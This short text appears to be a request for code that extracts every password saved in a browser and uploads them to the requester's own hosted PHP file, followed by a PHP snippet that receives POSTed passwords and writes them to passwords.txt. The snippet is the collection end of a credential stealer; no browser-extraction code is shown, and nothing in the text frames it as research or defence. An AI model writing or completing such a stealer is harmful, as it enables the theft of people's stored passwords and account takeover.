Please create a code that has get all passwords stored in browser and then get as txt file in my hosted using php file with all functions as online

$message = "";
$file_name = "passwords.txt";

if (isset($_POST['passwords'])) {
  if(!empty($_POST['passwords'])) {
    $message = file_put_contents($file_name, $_POST['passwords']);
  }
}
?>

<form method="post">
  <textarea name="passwords"></textarea>
  <button type="submit">submit</button>
</form>

<p>
  <?php 
    if($message) {
      echo 'passwords sent';
    } else {
      echo 'passwords not sent';
    }
  ?>
</p>